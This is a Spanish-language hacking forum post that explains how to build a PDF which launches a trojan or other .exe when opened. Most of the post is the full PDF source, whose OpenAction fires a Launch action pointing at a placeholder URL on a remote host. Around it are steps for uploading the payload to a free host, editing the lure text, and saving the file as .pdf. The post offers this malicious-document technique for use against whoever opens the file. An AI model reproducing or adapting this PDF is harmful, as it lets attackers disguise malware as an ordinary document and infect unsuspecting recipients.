• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Ejecutando .exe en un PDF

Status
Not open for further replies.

goldregister

LvL-23
User
Joined
Feb 18, 2013
Messages
285
Reputation
0
Reaction score
2,697
Points
243
Credits
12
‎12 Years of Service‎
95%
Empezamos y requisitos:






- Un .exe para ejecutar(troyano, etc.)


-Un host, donde subiremos el .exe


Abrimos nuestro bloc de notas o bien si tienen Notepad++ (lo recomiendo) y pegamos el siguiente codigo







Code:
>%PDF-1.1

1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 8 0 R
>>
endobj

2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj

3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj

4 0 obj
<<
/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources 
<< /ProcSet 6 0 R
   /Font << /F1 7 0 R >>
>>
>>
endobj

5 0 obj
<< /Length 46 >>
stream
BT
/F1 24 Tf
100 700 Td
(Seguridaddelmal | www.seguridaddelmal.com | @seguridaddelmal)Tj
ET
endstream
endobj

6 0 obj
[/PDF /Text]
endobj

7 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj

8 0 obj
<<
/Type /Action
/S /Launch
/Win
<<
 /F (http://www.host/nombre.exe)
>>
>>
endobj

xref
0 9
0000000000 65535 f
0000000012 00000 n
0000000109 00000 n
0000000165 00000 n
0000000234 00000 n
0000000401 00000 n
0000000505 00000 n
0000000662 00000 n
trailer
<<
/Size 9
/Root 1 0 R
>>
startxref
751
%%EOF
sshot-1.png%22%20imageanchor=1


Ahora nos toca retocar un par de cosas, la primera el texto que aparecerá al ejecutar el PDF. Se encuentra en esta parte del código, cada uno pone lo que desee.

sshot-1.png%22%20imageanchor=1


La segunda es editar la url del host, donde estará el .exe a ejecutar. Pueden usar 000webhost como host gratuito, yo usaré localhost....




sshot-2.png%22%20imageanchor=1


Por ultimo, guardan todo el código con extensión .pdf




sshot-3.png%22%20imageanchor=1


Una vez guardado en .pdf, lo ejecuto para comprobar la funcionalidad del método explicado.




sshot-1.png%22%20imageanchor=1





Fuente:http://underc0de.org

 
Last edited by a moderator:
Status
Not open for further replies.
Back
Top